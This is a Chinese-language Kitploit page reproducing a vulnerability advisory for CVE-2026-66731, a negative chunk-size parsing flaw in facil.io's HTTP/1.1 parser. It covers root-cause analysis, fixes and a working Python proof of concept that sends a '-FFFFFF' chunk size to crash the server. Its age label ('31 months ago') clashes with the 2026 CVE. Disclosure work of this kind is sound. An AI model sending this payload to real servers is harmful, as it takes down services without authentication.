Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/theopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash
静态分析漏洞分析代码分析Web安全
GitHubtheopaid/cve-2026-66731-negative-chunk-size-parsing-causes-memory-corruption-leading-to-server-crash

CVE-2026-66731-Negative-Chunk-Size-Parsing-Causes-Memory-Corruption-leading-to-Server-Crash

针对 CVE-2026-66731 的安全公告,包含根本原因分析、PoC 漏洞利用代码以及针对 facil.io HTTP/1.1 分块编码解析器漏洞的修复建议。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
31个月前尚未审核

安全公告:facil.io 中负分块大小解析导致内存破坏

分配的 CVE 编号:CVE-2026-66731

产品: facil.io
受影响版本: facil.io >= 0.7.5(0.7.5、0.7.6、master);该问题是在 0.7.5 中向后移植 0.8.x HTTP/1.1 解析器时引入的——0.6.x 或 0.7.0–0.7.3 不受影响
组件: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20(输入验证不当)、CWE-682(计算错误)、CWE-125(越界读取)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
研究人员: Theodosis Paidakis


摘要

分块传输编码解析器接受分块大小值中的前导负号。对于 -FFFFFF 之类的输入,http1_atol16 会返回负的 long long。解析器将 0 - chunk_len 存储在 content_length 中,作为“位于某个分块内部”的哨兵值。当 chunk_len 为负数时,该减法会产生一个大的正值,从而破坏状态机。随后的一次指针计算会将读指针移动到输入缓冲区之前数百万字节的位置,进入未映射的内存,导致进程崩溃。一个未认证的 POST 请求即可触发。


根本原因

步骤 1:http1_atol16 接受前导负号

lib/facil/http/parsers/http1_parser.h, 第 316-346 行

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
    register unsigned long long i = 0;
    uint8_t inv = 0;
    for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
        inv ^= (*(buf++) == '-');   // line 323: accepts '-', sets inv=1
    /* ... parse hex digits into i ... */
    if (inv)
        i = 0ULL - i;              // line 341: two's-complement negation
    return i;                      // returns negative long long
}

输入 -FFFFFF\r\n 会产生 chunk_len = -16777215LL。RFC 7230 第 4.1 节规定分块大小必须是非负十六进制整数。前导负号是无效的。

步骤 2:状态机破坏

lib/facil/http/parsers/http1_parser.h, 第 681-690 行

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);  // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len;  // line 688: = 0 - (-16777215) = +16777215

解析器将负的 content_length 用作“当前正在读取分块体”的哨兵值。当 content_length 为正值 +16777215 时,状态机会认为它正在读取一个 16 MB 的普通(非分块)请求体。

步骤 3:指针倒退进入未映射内存

在下一次迭代中,解析器会计算:

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215   <-- 16 MB before the input buffer

对该地址的读取将触发故障(fault)。


概念验证

启动服务器,然后运行:

root@kitploit:~
# poc_chunked_negative_size.py
import socket

req = (
    b"POST / HTTP/1.1\r\n"
    b"Host: 127.0.0.1\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: close\r\n"
    b"\r\n"
    b"-FFFFFF\r\n"   # negative hex chunk size
    b"data\r\n"
    b"0\r\n\r\n"
)

s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
    print(s.recv(4096))
    print("check server")
except:
    print("check server")

ASAN 输出(已确认):

root@kitploit:~
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001   // pointer 16 MB before start

发送的不同分块大小所产生的影响:

注意:-0 的情况(0 - 0 = 0)会命中“分块体已完成”分支而不会崩溃,但服务器会将该请求视为空请求体,而忽略后续的任何数据。在代理部署中,如果前端以不同方式解析分块编码,这可能会作为一种请求走私原语被利用。


影响

单个带有负分块大小的未认证 Transfer-Encoding: chunked 请求即可使服务器崩溃。任何接受 HTTP/1.1 的应用程序都会受到影响;分块编码是核心协议特性,不需要任何应用程序级配置。


修复方案

两种方法任选其一即可。建议优先采用修复方案 1。

修复方案 1:在 http1_atol16 中拒绝前导负号

lib/facil/http/parsers/http1_parser.h, 第 322 行

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }

修复方案 2:在使用前校验 chunk_len

lib/facil/http/parsers/http1_parser.h, 第 681 行

root@kitploit:~
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1;   // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;

与先前安全修复的关系

提交 53caca31(“Fix atol16 to fix chunked length calculation”,2019 年 12 月)修复了溢出检测循环条件,但保留了符号处理代码。提交 fe847cdf(“fix HTTP/1.1 parser against smuggling attack”,2020 年 5 月)解决了 TE/CL 冲突(Transfer-Encoding 和 Content-Length 同时存在)问题。两者都没有覆盖负分块大小的情况。

下载工具
Chunk sizecontent_length after corruptionOutcome
-00Body silently skipped; server survives
-1+1Pointer 1 byte before start
-FFFFFF+16777215Pointer 16 MB before start; crash
-7FFFFFFF+2147483647Pointer 2 GB before start; crash